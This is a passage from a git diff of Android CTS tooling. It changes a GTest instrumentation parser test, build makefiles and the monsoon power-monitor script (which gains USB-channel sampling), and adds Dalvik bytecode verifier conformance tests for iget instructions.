- * Unit tests for {@link WrappedGTestResultParser}.
- */
-public class WrappedGTestResultParserTest extends TestCase {
-
-    private WrappedGTestResultParser mParser;
-    private final String[] INPUT1 = new String[] {
-        "INSTRUMENTATION_STATUS: gtest=[==========] Running 9 tests from 2 test cases.",
-        "INSTRUMENTATION_STATUS_CODE: 1",
-        "INSTRUMENTATION_STATUS: gtest=[ RUN      ] GLTest.Test1",
-        "INSTRUMENTATION_STATUS: gtest=[       OK ] GLTest.Test1 (10 ms)",
-        "INSTRUMENTATION_STATUS: gtest=/tests/SomeTestFile.cpp:1337: Failure",
-        "Value of: 1 == 0",
-        "  Actual: false",
-        "Expected: true",
-        "INSTRUMENTATION_STATUS: gtest=[  FAILED  ] GLTest.Test2 (1016 ms)",
-        "INSTRUMENTATION_STATUS: gtest=[==========] 2 tests from 1 test cases ran. (17 ms total)",
-        "INSTRUMENTATION_CODE: -1"
-    };
-
-    private final String[] EXPECTED_OUTPUT1 = new String[] {
-        "[==========] Running 9 tests from 2 test cases.",
-        "[ RUN      ] GLTest.Test1",
-        "[       OK ] GLTest.Test1 (10 ms)",
-        "/tests/SomeTestFile.cpp:1337: Failure",
-        "Value of: 1 == 0",
-        "  Actual: false",
-        "Expected: true",
-        "[  FAILED  ] GLTest.Test2 (1016 ms)",
-        "[==========] 2 tests from 1 test cases ran. (17 ms total)",
-    };
-
-    private final String[] INPUT2 = new String[] {
-        "INSTRUMENTATION_STATUS_CODE: 1",
-        "invalid text",
-        "INSTRUMENTATION_STATUS: gtest=[==========] Running 9 tests from 2 test cases.",
-        "INSTRUMENTATION_RESULT: some error",
-        "INSTRUMENTATION_STATUS: gtest=[ RUN      ] GLTest.ExpectTestThatShouldBeSuccessful",
-    };
-
-    private final String[] EXPECTED_OUTPUT2 = new String[] {
-        "[==========] Running 9 tests from 2 test cases.",
-    };
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mParser = new WrappedGTestResultParser("unused", (ITestRunListener)null);
-    }
-
-    private void assertArrayEquals(String[] expected, String[] result) throws Exception {
-        if (expected == null) {
-            assertNull(result);
-            return;
-        }
-
-        assertEquals(expected.length, result.length);
-
-        for (int i = 0; i < expected.length; i++) {
-            assertEquals(expected[i], result[i]);
-        }
-    }
-
-    /**
-     * Test normal case {@link WrappedGTestResultParser#getRawGTestOutput(java.lang.String[])}
-     * with all kinds of valid input lines.
-     */
-    public void testGetRawGTestOutput_valid() throws Exception {
-        assertArrayEquals(EXPECTED_OUTPUT1, mParser.parseInstrumentation(INPUT1));
-    }
-
-    /**
-     * Test normal case {@link WrappedGTestResultParser#getRawGTestOutput(java.lang.String[])}
-     * with a instrumentation error/invalid input.
-     */
-    public void testGetRawGTestOutput_invalid() throws Exception {
-        assertArrayEquals(EXPECTED_OUTPUT2, mParser.parseInstrumentation(INPUT2));
-    }
-}
diff --git a/tools/utils/Android.mk b/tools/utils/Android.mk
index d26abb1..ef2e1bb 100644
--- a/tools/utils/Android.mk
+++ b/tools/utils/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
 
-LOCAL_JAVA_LIBRARIES := junit
+LOCAL_JAVA_LIBRARIES := junit-host
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-host-util vogarexpectlib
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/utils/buildCts.py b/tools/utils/buildCts.py
index 8dec71d..f983b15 100755
--- a/tools/utils/buildCts.py
+++ b/tools/utils/buildCts.py
@@ -531,6 +531,9 @@
           'android.assist.cts.TextViewTest',
           'android.assist.cts.WebViewTest',
       ],
+      'android.calllog' : [
+          'android.calllog.cts.CallLogBackupTest#testSingleCallBackup',
+      ],
       'android.dumpsys' : [
           'android.dumpsys.cts.DumpsysHostTest#testBatterystatsOutput',
           'android.dumpsys.cts.DumpsysHostTest#testGfxinfoFramestats',
diff --git a/tools/utils/monsoon.py b/tools/utils/monsoon.py
index f3d63c5..d13cf3a 100755
--- a/tools/utils/monsoon.py
+++ b/tools/utils/monsoon.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2.6
+#!/usr/bin/python
 
 # Copyright (C) 2014 The Android Open Source Project
 #
@@ -23,16 +23,25 @@
 
 Example usages:
   Set the voltage of the device 7536 to 4.0V
-  python2.6 monsoon.py --voltage=4.0 --serialno 7536
+  python monsoon.py --voltage=4.0 --serialno 7536
 
   Get 5000hz data from device number 7536, with unlimited number of samples
-  python2.6 monsoon.py --samples -1 --hz 5000 --serialno 7536
+  python monsoon.py --samples -1 --hz 5000 --serialno 7536
 
   Get 200Hz data for 5 seconds (1000 events) from default device
-  python2.6 monsoon.py --samples 100 --hz 200
+  python monsoon.py --samples 100 --hz 200
 
   Get unlimited 200Hz data from device attached at /dev/ttyACM0
-  python2.6 monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+  python monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+
+Output columns for collection with --samples, separated by space:
+
+  TIMESTAMP OUTPUT OUTPUT_AVG USB USB_AVG
+   |                |          |   |
+   |                |          |   ` (if --includeusb and --avg)
+   |                |          ` (if --includeusb)
+   |                ` (if --avg)
+   ` (if --timestamp)
 """
 
 import fcntl
@@ -232,13 +241,18 @@
           print >>sys.stderr, "waiting for calibration, dropped data packet"
           continue
 
-        out = []
-        for main, usb, aux, voltage in data:
-          if main & 1:
-            out.append(((main & ~1) - self._coarse_zero) * self._coarse_scale)
+        def scale(val):
+          if val & 1:
+            return ((val & ~1) - self._coarse_zero) * self._coarse_scale
           else:
-            out.append((main - self._fine_zero) * self._fine_scale)
-        return out
+            return (val - self._fine_zero) * self._fine_scale
+
+        out_main = []
+        out_usb = []
+        for main, usb, aux, voltage in data:
+          out_main.append(scale(main))
+          out_usb.append(scale(usb))
+        return (out_main, out_usb)
 
       elif type == 1:
         self._fine_zero = data[0][0]
@@ -317,6 +331,11 @@
     print FLAGS.MainModuleHelp()
     return
 
+  if FLAGS.includeusb:
+    num_channels = 2
+  else:
+    num_channels = 1
+
   if FLAGS.avg and FLAGS.avg < 0:
     print "--avg must be greater than 0"
     return
@@ -359,39 +378,50 @@
     # 'offset' = (consumed samples) * FLAGS.hz - (emitted samples) * native_hz
     # This is the error accumulator in a variation of Bresenham's algorithm.
     emitted = offset = 0
-    collected = []
-    history_deque = collections.deque() # past n samples for rolling average
+    chan_buffers = tuple([] for _ in range(num_channels))
+    # past n samples for rolling average
+    history_deques = tuple(collections.deque() for _ in range(num_channels))
 
     try:
       last_flush = time.time()
       while emitted < FLAGS.samples or FLAGS.samples == -1:
         # The number of raw samples to consume before emitting the next output
         need = (native_hz - offset + FLAGS.hz - 1) / FLAGS.hz
-        if need > len(collected):     # still need more input samples
-          samples = mon.CollectData()
-          if not samples: break
-          collected.extend(samples)
+        if need > len(chan_buffers[0]):     # still need more input samples
+          chans_samples = mon.CollectData()
+          if not all(chans_samples): break
+          for chan_buffer, chan_samples in zip(chan_buffers, chans_samples):
+            chan_buffer.extend(chan_samples)
         else:
           # Have enough data, generate output samples.
           # Adjust for consuming 'need' input samples.
           offset += need * FLAGS.hz
           while offset >= native_hz:  # maybe multiple, if FLAGS.hz > native_hz
-            this_sample = sum(collected[:need]) / need
+            this_sample = [sum(chan[:need]) / need for chan in chan_buffers]
 
             if FLAGS.timestamp: print int(time.time()),
 
             if FLAGS.avg:
-              history_deque.appendleft(this_sample)
-              if len(history_deque) > FLAGS.avg: history_deque.pop()
-              print "%f %f" % (this_sample,
-                               sum(history_deque) / len(history_deque))
+              chan_avgs = []
+              for chan_deque, chan_sample in zip(history_deques, this_sample):
+                chan_deque.appendleft(chan_sample)
+                if len(chan_deque) > FLAGS.avg: chan_deque.pop()
+                chan_avgs.append(sum(chan_deque) / len(chan_deque))
+              # Interleave channel rolling avgs with latest channel data
+              data_to_print = [datum
+                               for pair in zip(this_sample, chan_avgs)
+                               for datum in pair]
             else:
-              print "%f" % this_sample
+              data_to_print = this_sample
+
+            fmt = ' '.join('%f' for _ in data_to_print)
+            print fmt % tuple(data_to_print)
+
             sys.stdout.flush()
 
             offset -= native_hz
             emitted += 1              # adjust for emitting 1 output sample
-          collected = collected[need:]
+          chan_buffers = tuple(c[need:] for c in chan_buffers)
           now = time.time()
           if now - last_flush >= 0.99:  # flush every second
             sys.stdout.flush()
@@ -410,7 +440,9 @@
   flags.DEFINE_float("voltage", None, "Set output voltage (0 for off)")
   flags.DEFINE_float("current", None, "Set max output current")
   flags.DEFINE_string("usbpassthrough", None, "USB control (on, off, auto)")
-  flags.DEFINE_integer("samples", None, "Collect and print this many samples")
+  flags.DEFINE_integer("samples", None,
+                       "Collect and print this many samples. "
+                       "-1 means collect indefinitely.")
   flags.DEFINE_integer("hz", 5000, "Print this many samples/sec")
   flags.DEFINE_string("device", None,
                       "Path to the device in /dev/... (ex:/dev/ttyACM1)")
@@ -418,5 +450,6 @@
   flags.DEFINE_boolean("timestamp", None,
                        "Also print integer (seconds) timestamp on each line")
   flags.DEFINE_boolean("ramp", True, "Gradually increase voltage")
+  flags.DEFINE_boolean("includeusb", False, "Include measurements from USB channel")
 
   main(FLAGS(sys.argv))
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index ef6aa84..ff58a8d 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -24,11 +24,12 @@
 LOCAL_MODULE := cts-tf-dalvik-lib
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := junit-targetdex
+LOCAL_JAVA_LIBRARIES := junit
 
 include $(BUILD_JAVA_LIBRARY)
 
 cts-tf-dalvik-lib.jack := $(full_classes_jack)
+cts-tf-dalvik-lib.jar := $(full_classes_jar)
 
 # buildutil java library
 # ============================================================
@@ -44,7 +45,7 @@
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit jsr305lib
+LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib
 
 LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
 
@@ -55,7 +56,8 @@
 #
 include $(CLEAR_VARS)
 
-LOCAL_JACK_ENABLED := $(strip $(LOCAL_JACK_ENABLED))
+include $(BUILD_SYSTEM)/configure_local_jack.mk
+
 LOCAL_MODULE := vm-tests-tf
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_SUFFIX := $(COMMON_JAVA_PACKAGE_SUFFIX)
@@ -71,12 +73,16 @@
 
 include $(BUILD_SYSTEM)/base_rules.mk
 
-vmteststf_dep_jars := $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit.jar)
+vmteststf_dep_jars := \
+    $(HOST_JDK_TOOLS_JAR) \
+    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
 
 $(LOCAL_BUILT_MODULE): PRIVATE_JACK_EXTRA_ARGS := $(LOCAL_JACK_EXTRA_ARGS)
 
 ifdef LOCAL_JACK_ENABLED
     vmteststf_dep_jars += $(cts-tf-dalvik-lib.jack)
+else
+    vmteststf_dep_jars += $(cts-tf-dalvik-lib.jar)
 endif
 
 $(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src
@@ -85,24 +91,33 @@
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_DEXCORE_JAR := $(intermediates)/tests/dot/junit/dexcore.jar
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_MAIN_FILES := $(intermediates)/main_files
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES := $(intermediates)/hostjunit_files
-$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(subst $(space),:,$(vmteststf_dep_jars)):$(HOST_JDK_TOOLS_JAR)
+$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
 $(LOCAL_BUILT_MODULE): PRIVATE_JACK_VERSION := $(LOCAL_JACK_VERSION)
 ifndef LOCAL_JACK_ENABLED
+oj_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-oj,,COMMON)/classes.jar
+libart_jar := $(call intermediates-dir-for,JAVA_LIBRARIES,core-libart,,COMMON)/classes.jar
+$(LOCAL_BUILT_MODULE): PRIVATE_DALVIK_SUITE_CLASSPATH := $(oj_jar):$(libart_jar):$(cts-tf-dalvik-lib.jar):$(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar:
 $(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar
 	$(hide) rm -rf $(dir $@) && mkdir -p $(dir $@)
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
 	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
-	$(hide) java -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
-		$(HOST_OUT_JAVA_LIBRARIES)/cts-tf-dalvik-buildutil.jar:$(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar \
+	$(hide) $(JAVA) \
+	    $(if $(EXPERIMENTAL_USE_OPENJDK9),--add-exports jdk.jartool/sun.tools.jar=ALL-UNNAMED) \
+	    -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+		$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
 		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
-	$(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
+	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
 		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
-	$(hide) $(DX) -JXms16M -JXmx768M --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR) \
-		$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
+	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
+	$(hide) $(DX) -JXms16M -JXmx768M --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp \
+		$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
+	$(hide) cd $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp && zip -q -r $(abspath $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)) .
 	$(hide) cd $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/classes && zip -q -r ../../$(notdir $@) .
 	$(hide) cd $(dir $@) && zip -q -r $(notdir $@) tests
+oj_jar :=
+libart_jar :=
 else # LOCAL_JACK_ENABLED
 oj_jack := $(call intermediates-dir-for,JAVA_LIBRARIES,core-oj,,COMMON)/classes.jack
 libart_jack := $(call intermediates-dir-for,JAVA_LIBRARIES,core-libart,,COMMON)/classes.jack
@@ -112,11 +127,11 @@
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
 	# generated and compile the host side junit tests
 	@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
-	$(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) java -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+	$(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) $(JAVA) -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
 		$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
 		$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
 	@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
-	$(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
+	$(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
 		$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
 	$(hide) $(call call-jack) --import $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar --output-jack $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jack
 	$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/TestStubs.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/TestStubs.java
index 07bb886..b5de007 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/TestStubs.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/TestStubs.java
@@ -19,6 +19,6 @@
 public class TestStubs {
     // used by testVFE4
     private int TestStubField = 50;
-    // ussed by testVFE15
+    // used by testVFE15 and testVFE35
     protected int TestStubProtectedField = 50;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/Test_iget.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/Test_iget.java
index c3a0f09..938beec 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/Test_iget.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/Test_iget.java
@@ -31,7 +31,7 @@
 import dot.junit.opcodes.iget.d.T_iget_9;
 
 public class Test_iget extends DxTestCase {
-    
+
     /**
      * @title type - int
      */
@@ -64,9 +64,9 @@
     public void testE2() {
         loadAndRun("dot.junit.opcodes.iget.d.T_iget_9", NullPointerException.class);
     }
-    
+
     /**
-     * @constraint A11 
+     * @constraint A11
      * @title constant pool index
      */
     public void testVFE1() {
@@ -74,23 +74,22 @@
     }
 
     /**
-     * 
-     * @constraint A23 
+     * @constraint A23
      * @title number of registers
      */
     public void testVFE2() {
         load("dot.junit.opcodes.iget.d.T_iget_3", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B13 
-     * @title read integer from long field - only field with same name but 
+     * @constraint B13
+     * @title read integer from long field - only field with same name but
      * different type exist
      */
     public void testVFE3() {
         loadAndRun("dot.junit.opcodes.iget.d.T_iget_13", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read inaccessible private field.
@@ -115,7 +114,7 @@
     public void testVFE6() {
         loadAndRun("dot.junit.opcodes.iget.d.T_iget_8", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read superclass' private field from subclass.
@@ -124,69 +123,63 @@
         //@uses dot.junit.opcodes.iget.d.T_iget_1
         loadAndRun("dot.junit.opcodes.iget.d.T_iget_12", IllegalAccessError.class);
     }
-   
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget shall not work for reference fields
      */
     public void testVFE8() {
         load("dot.junit.opcodes.iget.d.T_iget_14", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget shall not work for short fields
      */
     public void testVFE9() {
         load("dot.junit.opcodes.iget.d.T_iget_15", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget shall not work for boolean fields
      */
     public void testVFE10() {
         load("dot.junit.opcodes.iget.d.T_iget_16", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget shall not work for char fields
      */
     public void testVFE11() {
         load("dot.junit.opcodes.iget.d.T_iget_17", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget shall not work for byte fields
      */
     public void testVFE12() {
         load("dot.junit.opcodes.iget.d.T_iget_18", VerifyError.class);
-    }    
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget shall not work for double fields
      */
     public void testVFE13() {
         load("dot.junit.opcodes.iget.d.T_iget_19", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget shall not work for long fields
      */
     public void testVFE14() {
         load("dot.junit.opcodes.iget.d.T_iget_20", VerifyError.class);
     }
-    
+
     /**
      * @constraint B12
      * @title Attempt to read protected field of unrelated class.
@@ -195,18 +188,17 @@
         //@uses dot.junit.opcodes.iget.TestStubs
         loadAndRun("dot.junit.opcodes.iget.d.T_iget_21", IllegalAccessError.class);
     }
-    
+
     /**
      * @constraint A11
      * @title Attempt to read static field.
      */
     public void testVFE16() {
-        //@uses dot.junit.opcodes.iget.TestStubs
         loadAndRun("dot.junit.opcodes.iget.d.T_iget_5", IncompatibleClassChangeError.class);
     }
 
     /**
-     * @constraint B6 
+     * @constraint B6
      * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE30() {
@@ -214,11 +206,20 @@
     }
 
     /**
-     * @constraint N/A 
+     * @constraint N/A
      * @title instance fields may only be accessed on reference values.
      */
     public void testVFE31() {
         load("dot.junit.opcodes.iget.d.T_iget_31", VerifyError.class);
     }
+
+    /**
+     * @constraint N/A
+     * @title Attempt to read inaccessible protected field on uninitialized reference.
+     */
+    public void testVFE35() {
+        //@uses dot.junit.opcodes.iget.TestStubs
+        load("dot.junit.opcodes.iget.d.T_iget_35", VerifyError.class);
+    }
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d
new file mode 100644
index 0000000..57df084
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d
@@ -0,0 +1,31 @@
+; Copyright (C) 2016 The Android Open Source Project
+;
+; Licensed under the Apache License, Version 2.0 (the "License");
+; you may not use this file except in compliance with the License.
+; You may obtain a copy of the License at
+;
+;      http://www.apache.org/licenses/LICENSE-2.0
+;
+; Unless required by applicable law or agreed to in writing, software
+; distributed under the License is distributed on an "AS IS" BASIS,
+; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+; See the License for the specific language governing permissions and
+; limitations under the License.
+
+.source T_iget_35.java
+.class public dot.junit.opcodes.iget.d.T_iget_35
+.super java/lang/Object
+
+.method public <init>()V
+.limit regs 1
+       invoke-direct {v0}, java/lang/Object/<init>()V
+       return-void
+.end method
+
+.method public run()I
+.limit regs 2
+       iget v0, v1, dot.junit.opcodes.iget.TestStubs.TestStubProtectedField I
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.java
new file mode 100644
index 0000000..696a6a1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package dot.junit.opcodes.iget.d;
+
+public class T_iget_35 {
+
+    public int run() {
+        return 0;
+    }
+}
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/TestStubs.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/TestStubs.java
index 8dcd427..af78d74 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/TestStubs.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/TestStubs.java
@@ -19,6 +19,6 @@
 public class TestStubs {
     // used by testVFE4
     private boolean TestStubField = true;
-    // used by testVFE15
+    // used by testVFE15 and testVFE35
     protected boolean TestStubProtectedField = true;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/Test_iget_boolean.java b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/Test_iget_boolean.java
index f16b89c..1f6a94a 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/Test_iget_boolean.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/Test_iget_boolean.java
@@ -30,16 +30,15 @@
 import dot.junit.opcodes.iget_boolean.d.T_iget_boolean_9;
 
 public class Test_iget_boolean extends DxTestCase {
-    
+
     /**
-     * @title get boolean from field 
+     * @title get boolean from field
      */
     public void testN1() {
         T_iget_boolean_1 t = new T_iget_boolean_1();
         assertEquals(true, t.run());
     }
 
-
     /**
      * @title access protected field from subclass
      */
@@ -59,7 +58,7 @@
     }
 
     /**
-     * @constraint A11 
+     * @constraint A11
      * @title constant pool index
      */
     public void testVFE1() {
@@ -67,22 +66,22 @@
     }
 
     /**
-     * @constraint A23 
+     * @constraint A23
      * @title number of registers
      */
     public void testVFE2() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_3", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B13 
-     * @title read boolean from long field - only field with same name but 
+     * @constraint B13
+     * @title read boolean from long field - only field with same name but
      * different type exists
      */
     public void testVFE3() {
         loadAndRun("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_13", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read inaccessible field
@@ -108,7 +107,7 @@
     public void testVFE6() {
         loadAndRun("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_8", NoSuchFieldError.class);
     }
-    
+
     /**
      * @constraint n/a
      * @title Attempt to read superclass' private field from subclass.
@@ -118,64 +117,63 @@
         //@uses dot.junit.opcodes.iget_boolean.d.T_iget_boolean_12
         loadAndRun("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_12", IllegalAccessError.class);
     }
-   
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_boolean shall not work for reference fields
      */
     public void testVFE8() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_14", VerifyError.class);
     }
-    
+
     /**
-     * 
-     * @constraint B1 
+     * @constraint B1
      * @title iget_boolean shall not work for short fields
      */
     public void testVFE9() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_15", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_boolean shall not work for int fields
      */
     public void testVFE10() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_16", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_boolean shall not work for char fields
      */
     public void testVFE11() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_17", VerifyError.class);
     }
-    
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_boolean shall not work for byte fields
      */
     public void testVFE12() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_18", VerifyError.class);
-    }    
-    
+    }
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_boolean shall not work for double fields
      */
     public void testVFE13() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_19", VerifyError.class);
-    } 
-    
+    }
+
     /**
-     * @constraint B1 
+     * @constraint B1
      * @title iget_boolean shall not work for long fields
      */
     public void testVFE14() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_20", VerifyError.class);
     }
-    
+
     /**
      * @constraint B12
      * @title Attempt to read inaccessible protected field.
@@ -191,14 +189,13 @@
      * @title Attempt to read static field.
      */
     public void testVFE16() {
-        //@uses dot.junit.opcodes.iget_boolean.TestStubs
         loadAndRun("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_5",
                    IncompatibleClassChangeError.class);
     }
 
     /**
-     * @constraint B6 
-     * @title instance fields may only be accessed on already initialized instances. 
+     * @constraint B6
+     * @title instance fields may only be accessed on already initialized instances.
      */
     public void testVFE30() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_30", VerifyError.class);
@@ -211,4 +208,13 @@
     public void testVFE31() {
         load("dot.junit.opcodes.iget_boolean.d.T_iget_boolean_31", VerifyError.class);
     }
+
